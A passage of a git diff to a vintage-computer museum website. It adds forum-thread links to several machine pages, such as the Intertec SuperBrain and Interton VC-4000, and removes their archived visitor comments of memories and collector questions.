b/content/museum/interstellar-fighter-jn-838.md @@ -9,6 +9,7 @@ params: company_name: INTERSTELLAR FIGHTER tabs: - photos + forum_thread: 707 photos: - title: COMPLETE SET subtitle: '' diff --git a/content/museum/intersystems-dps-1.md b/content/museum/intersystems-dps-1.md index 983d720b..7a646a07 100644 --- a/content/museum/intersystems-dps-1.md +++ b/content/museum/intersystems-dps-1.md @@ -61,6 +61,7 @@ params: tabs: - photos - adverts + forum_thread: 565 photos: - title: FRONT PANEL ELECTRONIC BOARD subtitle: '' @@ -91,50 +92,6 @@ params: Advert said:\ Does this sound too good to be true? Just fill your tank with the BRIDGE 3C formula for SPEED and shift into 'overdrive' with your bridge 3C Compiler System. Leave the other behind, let us provide you with the fuel for higher productivity... image: /media/museum/pubs/intersystems_dps1_bridge_1.jpg - comments: - - author: AJ (Iowa/USA) - date: Thursday 29th October 2020 - text: |- - Responding to your page at https://www.old-computers.com/museum/computer.asp?st$1$c$574 - - In late July of this past year, I acquired an auction lot that had one of these boards for the front panel of one of these systems. - - Are these images helpful to you? - - https://drive.google.com/file/d/17_roXmU2H8rzRV1YTeYZJFhb6Haz19DQ/view?usp$sharing - - https://drive.google.com/file/d/1pN4RpgRt0X5rIbfy1HvzIY2NTorwXZLL/view?usp$sharing\ - Google Docs - - author: James Gregor Owen (Florida USA) - date: Saturday 14th April 2018 - text: |- - Sat 4/14/18 7:54 am. Well I worked at Ithaca Intersystems in the golden days and lived to tell the tale, not that there''s so much to tell. - - owenlabs@aol.com - - author: Loretta M. (California, USA) - date: Friday 18th August 2017 - text: |- - In my post below, I didn''t finish a sentence. - - The company I worked for sold Ithaca Intersystems computers with the usual trusty Televideo terminals, with the monochrome monitors. - - author: Steven Edelman (USA) - date: Friday 20th July 2012 - text: |- - Anyone interesting in knowing more about Intersystems and the DPS-1 feel free to contact me. I starting the company. - - Steve Edelman\ - Edelman@mail.com - - author: Peter - date: Wednesday 22nd February 2012 - text: |- - As I said a few years ago, the DPS-1 works great. Now I managed to get an additional 2 8" drives so that if these fail, I have spares.\ - I have been trying to back up all my 8" software (much of it original, serialization diskettes such as MuLISP, MuMath, DRI and MS software et al) so that these can be Enjoyed by the future generations. The systems runs standard CP/M and the disk drives are SSDD drives used as SSSD. It is nice to be able to program using the front panel. I also have many additional boards, such as 256K of RAM (in 4 boards), additional hard disk drive adapters (ST506) and modem. - - author: Tgb417 - date: Thursday 9th February 2012 - text: Ithaca College had 2 or 3 of these units in the 1981 to 1984 period. They used a pair of 8" floppies. They were co figured to boot a CPM from the floppies. The keys were on the front of the unit however you did not have to use them to boot. The units had a psd pascal compiler / environment. The units were used to teach assembly language. - - author: Peter (Luxembourg) - date: Wednesday 15th September 2010 - text: I have a working Ithaca DPS-1. You can see photos at http://vekinis.com/Computers.html oc_id: 574 source: url: https://web.archive.org/web/20230320191500/http://www.old-computers.com/museum/computer.asp?c=574 diff --git a/content/museum/intertec-headstart.md b/content/museum/intertec-headstart.md index f5fb2f1a..6ec8bbec 100644 --- a/content/museum/intertec-headstart.md +++ b/content/museum/intertec-headstart.md @@ -50,19 +50,7 @@ params: value: Built-in PSU - label: PRICE value: Unknown - comments: - - author: Katy (USA) - date: Monday 5th May 2014 - text: I bought the A\*Star way back when and it was a great machine. All the software and shareware worked. No problem downloading to it (big phone bills with dial-up!) I, of course, added a hard drive a couple of months after I purchased it. I had it for years. I previously used a C64. - - author: Franklin (USA) - date: Tuesday 4th October 2011 - text: I have an A-0star and a Compu-Star with 286/386 CPU boards. If not mistaken I think I have one of the few 486 CPU boards that was created but I''ll have to check that. I also have a Original Stock certificate if anyone is interested. - - author: Dave Prue (Asia) - date: Wednesday 13rd June 2007 - text: I led the development team for the HeadStart. If anyone needs specific information I will provide what I can. - - author: herauthon (TheNetherlinks ) - date: Friday 27th May 2005 - text: 'Is the InterTEC Headstart the same as Vendex (dutch: V&D) Headstart ?' + forum_thread: 353 oc_id: 349 source: url: https://web.archive.org/web/20230524092115/http://www.old-computers.com/museum/computer.asp?c=349 diff --git a/content/museum/intertec-superbrain.md b/content/museum/intertec-superbrain.md index 9bc30a72..163e81d5 100644 --- a/content/museum/intertec-superbrain.md +++ b/content/museum/intertec-superbrain.md @@ -65,6 +65,7 @@ params: tabs: - photos - adverts + forum_thread: 214 photos: - title: QD VERSION subtitle: '' @@ -162,130 +163,6 @@ params: subtitle: '' text: It seems that the CMC Company (We have no more info about this company) used SuperBrain systems in which they added various hard disks, from 5 to 20 MB. image: /media/museum/pubs/cmcinternational_superfive_1.jpg - comments: - - author: Matt Hughes (Courtenay, BC, Canada) - date: Sunday 3rd December 2006 - text: |- - I wrote my first sf novel, Fools Errant, on a Superbrain that I'd bought used in Vancouver in 1984. I also wrote scores of speeches (my profession in those days), on it. Eventually I lent it to a PR consultant friend who wanted to learn word processing. It was stolen from her office by junkies. - - And now an item of trivia: in the late eighties I was involved in the games business with the people who created Trivial Pursuit. They told me that the questions for the first-generation game had all been written on a Superbrain. - - author: mediarays (florida, usa) - date: Saturday 21st October 2006 - text: |- - i bought my superbrain in 1983/84, and used it for bond yield/pricing calculations, and to do interest rate swaps as a municipal bond broker. by today's standards, it was a very slow ant. but, it was a giant step in speed and memory (dual floppy drives! and 64k of system memory vs 16k) over my previous and first computer - a trs80 with a casette recorder for software, which i ended up having to write myself. so, i used the superbrain diligently for 2 or 3 years before i replaced it with my first pc clone. the superbrain (and the other computers, as well) definitely gave me a leg up on my competition, and made me some serious money (for those days, anyway). - - still have the computer (and the software) in my attic. maybe i'll have time to play with it some day, unless someone knows of a collector. - - author: Y V (Globe) - date: Thursday 10th March 2005 - text: |- - It was back in the early 80's that I wrote my PhD Thesis on a Superbrain, with 1FDD and 1HDD; I do not recall the exact model. A serious problem was that the fan was driving the air from the inside, through the drives to the face of the user! Also, the HDD used to vibrate and touch from time to time the fan; I pushed a pencil through the slot and stabilized the shaky HD; my supervisor used to pass a piece of paper in front of the paper, expecting this to be the wordprocessor (humor!).\ - Since my thesis was rather long (600pp), I decided to print it to the central line printer; the alternative was to write it in n/troff, but I decided to try the emerging WYSISYG approach. So I chose the Superbrain with WordStar XX. Then I processed the files in order to convert the WS text formatting commands into the line printer commands. In parallel, I managed to connect the Superbrain to the Campus IBM370 and FTP'ed my files to the mainframe. This was 1984 and not many people in the Computing Lab have even thought this was an option. They tend to consider only mainframes as real computers, while all personal computers were considered as toys. But this data comms exercise contained actually many solutions which latter became popular and common.\ - I recalled these years because recently I decided to convert some CP/M WS files on CP/M FDs into WordXP. I used first the 22DISK.EXE, which can read CP/M FDs into DOS files. I processed the files via WSBIT.COM to remove various confusing bits from the text (which cause fonts problems), and converted the processed files via WSRTF.EXE into Word-readable .RTF files. The rest was easy. All above mentioned utilities are freeware available in the web. - - author: Alan Cotterill (Burnley, England) - date: Monday 17th January 2005 - text: |- - I had five SuperBrains myself when I was about 14 (28 now). School IT lessons were rather dull – spreadsheets and databases on BBC micros. The department display of 6 SuperBrain QD’s fascinated me though and my IT teacher started letting me take them home one by one – he must have wanted a clear out.\ - I must have been slightly obsessed as I would carry one of these 30lb lumps single handed, the 1.5 mile distance between school and home – my mother getting more and more distressed each time. I gathered five into my room and made two working machines from the parts of the others. I had the OS disk, a spreadsheet and a database program as I remember. I didn’t know what I was doing with them, but I was fascinated with the hardware. After a few months of computerland paradise (I discovered girls much later!) I ruined the OS disk with a dodgy floppy drive so the fun was over.\ - The other problem was mother. She was convinced the whole lot along with numerous disassembled TV’s and other computers would come crashing through the living room ceiling and she was sick of the mess in my room – so she made me bin the lot!\ - Anyhow, not to be beaten and in a fit of teenage rage, I came up with a cunning plan. I would bury the 2 working machines on our nearby hill (wrapped in bin bags of course so they would be ‘safe’) until a time came when I would not be under the dominion of my mother! So that is what I did. Armed with a spade, I carried them one at a time the 2.5mile distance to the hill and walked up to a place I thought was safe and remote. By the time I was there of course, I was nackered! In my extreme naivety, I convinced myself that by taking them down into this tree lined ravine and leaving them against an old fallen tree, they would be safe until the next week when I could finish the job.\ - So I left them there. The following weekend, I returned to disaster – my SuperBrains had been rolled down the long slope of the ravine to the valley floor, I could see bits of them all the way down and at the bottom! Those damn kids who had the rope swing at the top I’ll bet!\ - That’s the end of my silly SuperBrain yarn. It’s a true story, ridiculous as it sounds. I am really a sane adult human being, married now, so only my wife to justify owning another of these old computers to if I can find one (just as difficult as with my mum!) I have always had an appreciation for old electronic hardware – particularly computers. I’m a network manager also, so the software interest is there now. - - That’s my memory shared anyhow,\ - Alan Cotterill. - - author: Stephen Silberman (Earth) - date: Tuesday 29th April 2003 - text: I had one of these back in about 1980. I actually ran a garment manufacturing company with it!! Originally we had the single sided disk drives and then updated to the double sided ones. After a couple of years we added a five megabite hard drive that was almost as big as the computer! Our Superbrain was incredibly sensitive to static discharges. In the winter we had to be especially careful as touching it before grounding yourself could cause a spontaneous reboot with the accompanying loss of data. Wish I'd kept it! - - author: Matt Marchese (Eau Claire, WI) - date: Sunday 3rd March 2002 - text: |- - The Superbrain was used extensively by\ - Cray Research, Inc. back in the 1980s to\ - simulate the Cray-2 Floating Multiply\ - Unit boolean. Each simulation took 45\ - minutes to run...pretty slow by Cray\ - supercomputer standards. We system-test\ - guys dubbed it the "Stuporbrain". The\ - dual-disk drives ate floppies at an\ - alarming rate! - - author: Mike T. - date: Sunday 26th September 2021 - text: Why do old comments keep disappearing ? I''ve commented on the superbrain several times... - - author: alan cotterill (United Kingdom) - date: Wednesday 22nd July 2020 - text: '@Mike Colvin - ten years later, I finally notice your kind offer! I did eventually source a Superbrain, an ex - Cardiff Uni machine for free off eBay ''''want it now'''' Its taken until very recently to get it in working condition but I do now have a fully functional Superbrain! I also kept a lot of spare parts that I hid from mum and the pesky kids! BTW - if you still have your SB, I''''d happily come pick it up if the offer is still there?! alan dot cotterill at googlemail dot com Thanks :-)' - - author: Stephen Silberman (USA) - date: Monday 26th December 2016 - text: |- - I purchased a Superbrain in 1981. It came with the single sided disc drives which I soon had converted to double sided. I actually ran an apparel manufacturing business on this machine which was quite an adventure. A few years later I added a 10 MB external hard drive which was almost as large as the Superbrain.\ - I wish I had kept it! - - author: Bill Morris (USA) - date: Monday 29th August 2016 - text: I wrote a Basic operating system to control an IC burnin system. Used the S100 vus to control power supplies and timing generators to provide stimulus to IC''s located in a high temperature oven. This provided stress to measure and extrapolate operating life. - - author: Bill Morris (USA) - date: Monday 29th August 2016 - text: Program development - - author: J. Patrick Gilligan (AZ, USA) - date: Monday 24th November 2014 - text: |- - The first desktop computer I ever used was a Superbrain, but according to the name plate, it was an Osborn Superbrain, not Interetec. It looked like the Superbrain pictured on this site, with same specs as far as I remember - CP/M, 64K ram, no HD and a pair of single-sided 5 1/4 floppy drives. - - I''m just wondering what the relationship was between Intertec and Osborn. - - author: Liquid Tusk (United States Of America) - date: Sunday 30th September 2012 - text: |- - My teacher in the Waltham Vocational class of Electronics $ Computer Technology was about 3500 steps into a program, when I (a mere student), asked him if he backed his progress up. He then said "this is an Intertube Superbrain right out of the box, so don''t bother me! I respectfully ran away. 20 minutes later I heard a stream of profanity from the computer room. (He hadn''t backed it up). It seems, a $0.30 power switch had just fried. Taking his 3500plus lines of programming with it. The moral of this story is, BACK-UP, BACK-UP,BACK-UP!!! He made our lives HELL for the rest of the week. So please back up your work. You never know what might happen.\ - Cheers to you Mr. Daley, wherever you are!!! (He loved the 3 exclamation points). You not only taught your suject, but you taught us how to learn in any situation! Your a dreat man Frank Daly!!! - - author: Vince (London, England) - date: Monday 10th January 2011 - text: |- - I had two Superbrains and wrote software in Z80 assembler for wireless fire alarms on them. I also used to repair them for people. I maystill have the circuit diagrams somewhere. If anyone needs them, contact me on vl (at) boyerman (dot) co (dot) uk and I''ll see if I can find them. I stumbled on this site looking for something else so probably won''t read any replies that are posted here. - - Vince - - author: Toni (Mallorca, spain) - date: Monday 10th January 2011 - text: |- - I just revisited my old superbrain QD, only to find that it is no longer working\ - Someone is interested in\ - I learnt Masic programming with this machine and created software fot a car parts shop own by my father being 20 years old\ - I travelled to london in 1982 to buy my first worksheet, supercalc, ,and Ashton Tate dBase II.\ - I should have ( if the disks still resist) the 8" $ 5 1/4" floppies of these programs and of "Xeno-copy", a program to read diverse brands cpm\ - disks .\ - Does someone want to help me restarting it? - - author: Andrew H (England) - date: Monday 27th September 2010 - text: Just got a SuperBrain! The fan is working but cannot see anything on screen. Cannot complain as it was free. Any 1 the floppy drives $c.? - - author: Mike Colvin (United Kingdom, S. London) - date: Saturday 14th August 2010 - text: Although probably just as besotted with my Superbrain as Alan Cotterill I guess I have been a little luckier in the sense that it has been allowed to gather dust in the corner of our gym (a euphemism for our junk room which also contains a couple of pieces of gym equipment) for these last 30 years. However we have a young post graduate friend who needs a room in London so the big clear out is in process. So Alan if you are still interested let me know ASAP – I have to have the room habitable by 1st September. - - author: Mattie (Australia) - date: Wednesday 23rd June 2010 - text: I was impressed by one of these in the 80''s as having "Phantom Boot Rom" (CPM v1). I''m still impressed, I also recall the floppies may have written \*inverted\* data for some reason. PC-Alien on an XT could not read the disks. A wondrous case, still relevant in design terms. - - author: Juergen Sievers (Germany) - date: Tuesday 20th February 2007 - text: |- - I have got one of these wonderful vintage systems in running state. Regrettably one of the drives had been replaced by a not original drive. Possible while a vintage computer competition. So I need one of the original QD drives. - - Additionally has the chassis some damages on his painting and should be repainted. Has anyone some experience about repainting such chassis? Is it advisable to do that? - - You can see the system here (http://www.nadhh.hanse.de/10subm_Computer/80subm_Sonstige/10subm_SuperBrain/), but the suite is currently only in German and still in progress - - Thus every indication would be accepted to this or other shown systems thankfully. - - Regards\ - J. - - author: Thomas Hoven (Oslo Norway) - date: Sunday 21st January 2007 - text: Used a Superbrain QD in the early '80s. As Matt explained, it ate floppies (because they were spinning all the time, not only when they were accessed). Built a small timer (hardware) to stop them if no access for 10 seconds. Still have it, and tried it about 6 years ago - only to discover many of the floppies were no longer readable. Reformatted and created a few new bootable ones in case I wanted to play with it again. - - author: Bucky Whaley (World) - date: Sunday 5th February 2006 - text: I loved my SuperbrainQD, even though it became increasingly temperamental with age. I learned a lot about programming on this machine. I used to joke that when it died I'd put hairpin legs on it and use it for a chair. Instead, while it still had a few gasps left in it, I put it out on the curb with all the software and somebody scavenged it immediately. I hope they had as much fun playing with it as I did. - - author: Chris Harris (Toronto - Ontario) - date: Tuesday 18th October 2005 - text: I just bought an old farm house and in one of the buildings there is an old Superbrain computer and a bunch of software with it. I have not fired it up yet but I am looking forward to doing it this weekend. I will post the results here! - - author: Roger Linhart (Earth) - date: Tuesday 29th March 2005 - text: The one thing I remember most about this system is the chirp sound it made each time you struck a key on the keyboard, especially when you were typing quickly. oc_id: 204 source: url: https://web.archive.org/web/20230601044954/http://www.old-computers.com/museum/computer.asp?c=204 diff --git a/content/museum/interton-vc-4000.md b/content/museum/interton-vc-4000.md index 6d3f2183..4fa6edc1 100644 --- a/content/museum/interton-vc-4000.md +++ b/content/museum/interton-vc-4000.md @@ -13,6 +13,7 @@ params: - software - emulators - links + forum_thread: 709 photos: - title: VC-4000 subtitle: '' @@ -316,49 +317,6 @@ params: - title: VC4000.de url: http://www.vc4000.de text: Website dedicated to the Interton VC4000 (in German) - comments: - - author: KT - date: Tuesday 21st November 2017 - text: |- - The console designers forgot to include a "reset on power-up" circuity so the user had to manually press reset... that button was just called "load game" for marketing reasons. It''s just like all the other consoles from that era that directly execute code from ROM. - - The console did not have any RAM chip, just 37 bytes of unused but still readable/writeable video registers were used as RAM by games. - - Just a few cartridges for which 37 bytes wouldn''t have been enough (such as Chess) came with extra RAM inside the cartridge. - - author: Randomize Timer - date: Saturday 19th November 2016 - text: |- - Examining the emulators:\ - The games look a little too familiar... (2600 ripoff, cough...$-) - - But it is still refreshing to see similar programs from a different perspective$ A nice addition to MESS. - - author: CatPix (France) - date: Tuesday 30th April 2013 - text: |- - About the Reset button :\ - as emu fan mentionned, the Interton have only 43 bytes of RAM$ but, it also have 4Ko of VRAM. Much like for the Colecovision, RAM accessible by the processor was extremely expensive, so most of the RAM would be put on the VRAM, allowing the us of cheaper ram, at the cost of more difficult programming and slower games.\ - The 43 bytes would be used to tell to the sytem to load the game into the 4Ko of VRAM.\ - Also, later game cartridge include 128Ko of RAM to improve either graphisms or game mechanics. - - author: emu fan - date: Thursday 9th December 2010 - text: |- - LOL, this page needs overhauling...\ - The interton does not have any RAM chips (only about 43 bytes onboard the 2636!) so there aint no way the cartridge could be copied from the cartridge to the RAM. The Reset is for the sake of the CPU. - - author: Phantom Flan Flinger (England) - date: Wednesday 20th December 2006 - text: |- - Anyone remember the Golf game? Two could play and each button on the controller selected a different club. - - I swear my version of this was cream though - not black. And I don't remember it having a name at all. May have been a bootleg? - - author: Waylander (Clare) - date: Tuesday 23rd November 2004 - text: What an advanced console for its time! My mother was a manager in the Ennis plant. I grew up playing the Interton. - - author: Jason Leeman (Limerick, Ireland) - date: Tuesday 13rd July 2004 - text: The Interton was my first games console too, with the added excitement that we won one on a Coca Cola promotion. It seemed however that the company went bust before we managed to buy any extra games for it.... - - author: John Mc Namara (Ireland) - date: Thursday 8th January 2004 - text: Wow, flashback. This was the first 'computer' I had access to as a kid in late 70's. My Aunt was working in a factory in Ennis Co. Clare(Ireland) nearby where they were assembling them and got one cheap for us. Most of the games had card overlay sheets for the keypads. I remember the joystick was very precise and made playing the bowling game as tricky as the real thing. related: - /museum/acetronic-mpu-1000-2000 - /museum/cabel-universal-game-computer diff --git a/content/museum/interton-video-2400.md b/content/museum/interton-video-2400.md index 6b9c9dd7..33251338 100644 --- a/content/museum/interton-video-2400.md +++ b/content/museum/interton-video-2400.md @@ -51,6 +51,7 @@ params: - software - emulators - links + forum_thread: 670 photos: - title: INSIDE subtitle: '' @@ -90,23 +91,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: BaldGuy (Ireland) - date: Wednesday 25th August 2021 - text: We had one as kids in IRELAND back in the mid 1970''s . I recall it was a great wonder at the time . - - author: Polent - date: Tuesday 24th November 2015 - text: I also have one. So possibly not too rare. But mine still works after 40 years. - - author: Faliorn (Spain) - date: Thursday 22nd September 2011 - text: I also just got one of these, boxed with manual and working! I also was wondering how rare this was. - - author: pasotex - date: Sunday 22nd August 2010 - text: |- - i have this one. my father gave it to me.\ - and: it is working fine!\ - i love this little machine, but: release must have been in 1975 because got it then and has a few reasons to be sure:)\ - how rare is this one? related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/interton-video-3000.md b/content/museum/interton-video-3000.md index 11d2a0c4..33d593ff 100644 --- a/content/museum/interton-video-3000.md +++ b/content/museum/interton-video-3000.md @@ -50,6 +50,7 @@ params: value: 40£ (UK, 19??) tabs: - photos + forum_thread: 671 photos: - title: CONTROL PANEL subtitle: '' @@ -63,29 +64,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/interton_3000_box_1.jpg - comments: - - author: JO (UK) - date: Monday 21st November 2011 - text: I have an Intertron Video 2800, It is the most basic console with only Tennis, Hockey and car racing. Option for 1 to 4 players on certain games. I have been trying to find out if anyone else has one of these and how much its worth. I unfortunately do not have a box for it. - - author: manu (france) - date: Thursday 28th April 2011 - text: |- - Hello, i don t have the gun, if someone sell it, send me an email !\ - Thx ! - - author: moahh (france) - date: Saturday 21st August 2010 - text: hey nixon , i just felt on an lectronic rifle for INtervision Video 3000, maybe you d want to have mine , for i don''t have the console... mail me or message on the post - - author: Arne (Germany) - date: Thursday 17th April 2008 - text: |- - While puting together my little collection on you site, i stumbled over\ - the description for the Interton Video 3000.\ - It is mentioned that it doesn't have any paddles, but it does. At least i\ - own a pair for my system. They fit nicely over the little round markings\ - on the systems casing. - - author: Nixon (On my PC) - date: Saturday 6th October 2007 - text: I see you do not have a value for the price. The console I own has a price tag of £40 on it. Hope that helps. oc_id: 687 source: url: https://web.archive.org/web/20230613152855/http://www.old-computers.com/museum/computer.asp?c=687 diff --git a/content/museum/intervision-2001-home-video-centre.md b/content/museum/intervision-2001-home-video-centre.md index 1fd83ecc..3e4cfee2 100644 --- a/content/museum/intervision-2001-home-video-centre.md +++ b/content/museum/intervision-2001-home-video-centre.md @@ -13,6 +13,7 @@ params: - emulators - links - docs + forum_thread: 1159 photos: - title: BOX subtitle: '' diff --git a/content/museum/intervision-3001-home-video-centre.md b/content/museum/intervision-3001-home-video-centre.md index f820490f..19940e3b 100644 --- a/content/museum/intervision-3001-home-video-centre.md +++ b/content/museum/intervision-3001-home-video-centre.md @@ -12,6 +12,7 @@ params: - emulators - links - docs + forum_thread: 1158 photos: - title: INTERVISION 3001 subtitle: '' @@ -110,17 +111,6 @@ params:  source : [Emerson Arcadia 2001 Central](http://amigan.classicgaming.gamespy.com/) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Benoît (France (Normandie)) - date: Tuesday 30th July 2013 - text: |- - Hi Folks,\ - Is the 3001 so rare ? I’ve got one since a few days (it a has been saved from the garbage). I''ve begun by cleaning it (stored in a cellar ?).\ - It’s a nice console. It''s very hard to get informations on it on internet\ - Benoît - - author: mrkoolnerd (usa) - date: Tuesday 13rd November 2007 - text: i got a question was this released in the us? my reason for asking i read some where it was can't remember the site though related: - /museum/advision-home-arcade - /museum/bandai-arcadia diff --git a/content/museum/intv-corp-system-iii.md b/content/museum/intv-corp-system-iii.md index 5a88ba4f..0c232653 100644 --- a/content/museum/intv-corp-system-iii.md +++ b/content/museum/intv-corp-system-iii.md @@ -14,6 +14,7 @@ params: - emulators - links - docs + forum_thread: 1177 photos: - title: INTV SYSTEM III subtitle: '' diff --git a/content/museum/iptvt-traian-vuia-polytechnical-institute-microtim-649.md b/content/museum/iptvt-traian-vuia-polytechnical-institute-microtim-649.md index c80db9f0..1c012661 100644 --- a/content/museum/iptvt-traian-vuia-polytechnical-institute-microtim-649.md +++ b/content/museum/iptvt-traian-vuia-polytechnical-institute-microtim-649.md @@ -57,6 +57,7 @@ params: tabs: - photos - links + forum_thread: 634 photos: - title: KEYBOARD subtitle: '' diff --git a/content/museum/iptvt-traian-vuia-polytechnical-institute-microtim.md b/content/museum/iptvt-traian-vuia-polytechnical-institute-microtim.md index 837a4962..56401b1a 100644 --- a/content/museum/iptvt-traian-vuia-polytechnical-institute-microtim.md +++ b/content/museum/iptvt-traian-vuia-polytechnical-institute-microtim.md @@ -57,6 +57,7 @@ params: tabs: - photos - links + forum_thread: 609 photos: - title: MICROTIM subtitle: '' @@ -91,33 +92,6 @@ params: - title: ThinkingDeep.com url: http://www.thinkingdeep.com/site_en/history.html text: A nice Romanian computing history... - comments: - - author: George (Olanda) - date: Sunday 22nd August 2021 - text: Informatiile din acest articol sunt gresite. Prae nu era compatibil ZX spectrum, era un concept propriu (Dezvoltat de un colectiv condus de Dl. Miklos Patrubany). aMIC (dezvoltat la Bucuresti de un colectiv condus de Dl. Adrian Petrescu) era de asemenea un concept propriu incompatibil cu Spectrum. Clone romanesti de Spectrum au fost HC-85 (in doua variante de carcasa), HC-90, HC91, HC-2000. (ICE Felix), CIP (02, 03) - Electronica, Jet-M (Electromagnetica), TIM-S/MicroTim (timisoara), CoBra (Brasov). A existat si o clona numita "varianta Maracineanu". Cam atat. - - author: Tibor Pardi (Hungary) - date: Saturday 8th August 2020 - text: As a student in Romania, I longed for a MicroTim computer in the 1980s. I got the printed panel, the eproms and some digital ic, but I couldn’t finish it. Now I want to finish it in over 35 years but I can no longer find the documentation. Can anyone help with the wiring diagram, photo of the finished panel and ROM content? What sites should I search on? - - author: Mihai Dragan (Romania) - date: Wednesday 19th February 2020 - text: The technical sheet information is wrong in stating there is no graphics mode. MicroTim is a ZX Spectrum clone, so of course it has a graphics mode with the same specs as the Spectrum. - - author: AAA (Timisoara/Romania) - date: Friday 21st September 2012 - text: The "best" Romanian Spectrum clone was TimS Plus, a Sinclair +3 machine, running CP/M. It looked like a PC and one version with floppy disks is displayed at the "Politehnica" University of Timisoara Computer Department museum (building "B" level 4). It was never mass produced, but it was the last from the TimS series (''90s). I am not aware of many other successful +3 clones. - - author: bbg (Romania) - date: Sunday 29th August 2004 - text: |- - Actually CoBra was developed at ITCI (the Institute for Computing Tehnology and Informatics).\ - IIRUC dosen't developed anything - they were responsible for servicing equipment. - - author: OG (US, Virginia) - date: Thursday 3rd July 2003 - text: |- - Actually aMIC and Prae were NOT Sinclair Spectrum clones. That was reflected in the much fewer applications / software developed for them.\ - Prae had a better screen resolution than Spectrums (512 x 256) even though in B&W only. - - There was also a series of TIM-S manufactured with a thin foil keyboard :-(very unreliable) - - Should also mention HC-85 (ICI Bucharest), as well as maybe the best Romanian Spectrum clone, that would run under CP/M also - CoBra (developed at IIRUC Brasov) oc_id: 622 source: url: https://web.archive.org/web/20230528144537/http://www.old-computers.com/museum/computer.asp?c=622 diff --git a/content/museum/isc-intelligent-systems-corp-compucolor-ii.md b/content/museum/isc-intelligent-systems-corp-compucolor-ii.md index 544f552a..cd1fcbc8 100644 --- a/content/museum/isc-intelligent-systems-corp-compucolor-ii.md +++ b/content/museum/isc-intelligent-systems-corp-compucolor-ii.md @@ -62,6 +62,7 @@ params: - adverts - software - links + forum_thread: 552 photos: - title: COMPUCOLOR II subtitle: '' @@ -109,216 +110,6 @@ params: - title: World of Discarded Computers url: http://www.trailingedge.com/~dlw/comp/wtemplate.html?compucolor2 text: This site has a nice picture of a 16k model - comments: - - author: David Shockley (Athens Georgia) - date: Tuesday 28th September 2010 - text: I started my career with ISC right out of school in 1978. I enjoyed reading the post and it sure brings back memories. ISC was one of the fastest growing companies, and formed product names like Intecolor and Compucolor. I worked for this company until it closed in 2001. The name changed along the way from Intelligent Systems Corp (ISC) to Intecolor to Rockwell Automation (1996). I had the priviledge to work with Mr. Charles Muench for most of my working life. I remember working on every product that was designed from the 8001 Terminal that had the 8080 based processor through the Flat Panel Displays and Industrial Computers at the end. Charles launched Printacolor and Colorocs companines too. All were based on Color. Hello to all the readers who remember this great company and thank you to Charles Muench for his vision. - - author: Raymond Curci (Tallahassee FL) - date: Monday 1st December 2003 - text: |- - I worked at FSU 1981-1986 in the Math/Computer\ - science department under Dr. E.P. Miles Jr.,\ - who was director of the Center for Color Graphics.\ - The center built one of the original Intecolor 8001\ - terminals from a kit. E.P. Miles delveloped a\ - relationship with Intecolor president Charles Muench\ - who donated several computers over the years\ - including some Intel 8080 based systems\ - like the 8051 running the FCS O/S and\ - 8063R running CP/M-80. I recall in one\ - particularly generous year when they donated\ - 40 Intecolor 2427 terminals along with\ - five Dataview 3000 (8-cpu) computers\ - and Printacolor color printers we used to\ - set up a student lab facility.\ - I spent many hours studying the source code\ - assembler code, writing device drivers,\ - tweaking CP/M, etc. - - author: Robin Hicks (Melbourne, Australia) - date: Thursday 19th June 2003 - text: The Australian Bureau of Meteorology purchased a few of these machines when they were available. The objective was to have meteorologists write programs in Basic to enable forecasting aids to be written and shared around the various forecasting offices. Unfortunately the disk drives were of such a poor quality that a file written on one floppy disk drive couldn't be read on another drive. As the drives deteriorated, only files written in the last few days could be read by the same disk drive. Still, it was a learning process, and the Bureau moved on to the NEC APC II and IV - - author: Achim Baqué (Germany) - date: Sunday 14th November 2021 - text: For years I try to find a Compucolor. Maybe someone consider to sell it? I am in the US several times a year. If shipping is no option, I can pick it up. info@classiccomputermuseum.com - - author: Hiker54 (USA) - date: Friday 12th November 2021 - text: Wow. Just ran across old-computers.com and ISC. I worked for two of Charles companies in the 80''s. Printacolor and Colorocs. Printacolor was new and Colorocs had not yet started when I first came on board. With a corporate background in procurement from Reliance Electric and Allen-Brady my responsibility was to build a purchasing department. Charles was very quiet. He hired others to do the heavy lifting and management. He was the visionary. From attending functions at his beautiful home to flying with him in his helicopter and with his son-in-law in one of his other two planes, it was interesting that none of that seemed important. I guess visionaries operate in a different realm. I doubt he even remembers me but I certainly remember Charles and his easy going manner. He has a dated Linkedin page but nothing further. Ed. - - author: Hiker54 (USA) - date: Friday 12th November 2021 - text: Wow. Just ran across old-computers.com and ISC. I worked for two of Charles companies in the 80''s. Printacolor and Colorocs. Printacolor was new and Colorocs had not yet started when I first came on board. With a corporate background in procurement from Reliance Electric and Allen-Brady my responsibility was to build a purchasing department. Charles was very quiet. He hired others to do the heavy lifting and management. He was the visionary. From attending functions at his beautiful home to flying with him in his helicopter and with his son-in-law in one of his other two planes, it was interesting that none of that seemed important. I guess visionaries operate in a different realm. I doubt he even remembers me but I certainly remember Charles and his easy going manner. He has a dated Linkedin page but nothing further. Ed. - - author: Brad (Usa) - date: Monday 31st August 2020 - text: |- - I inherited everything for a computer machine called Trending $ Graphics that has/had 2 different ISC 8001. They were were used by NASA to monitor (I think) these Rosemount extreme temperatures high and low. This one was from a Firing Tower at NASA Kennedy. In the 2 devices I have You can see all the different chips from when NASA was buying everyone’s home and business to have a surplus of spare chips. You can really see it on those 8 boards. It’s like a rainbow. It’s beautiful. I didn’t know what I inherited until I really researched it. I’ve got everything for 2 complete devices and extra keyboards, tape and floppy disk drives.\ - The power boards date 1979 and I heard that is kinda rare.\ - I’m looking to sell everything to an honest person that will actually keep them. Again, I’ve got everything! Extra everything! Bt89162@gmail\ - Email me for pics.\ - I’m posting a small part on eBay\ - DELUXE Coverage module REV 1 - - author: Scott Larson (United States) - date: Tuesday 10th June 2014 - text: Our junior high school had three or four of these. The biggest pain was those floppy drives. There was some kind of alignment issue with the heads. One could read floppies from one or two other machines. Most could only read floppies written on that machine making it impossible to share data. I always wondered if mounting the drives close to the CRT had something to do with it. I''m happy to say this is the only computer model that had this fault. - - author: Ray Curci (US) - date: Tuesday 17th September 2013 - text: |- - According to Charles Muench from his web page, he started the company in 1972, had a color computer terminal by 1973,\ - and a color microcomputer with BASIC by 1976.\ - http://camuench.com/work.html$1972 - - author: woody - date: Wednesday 20th March 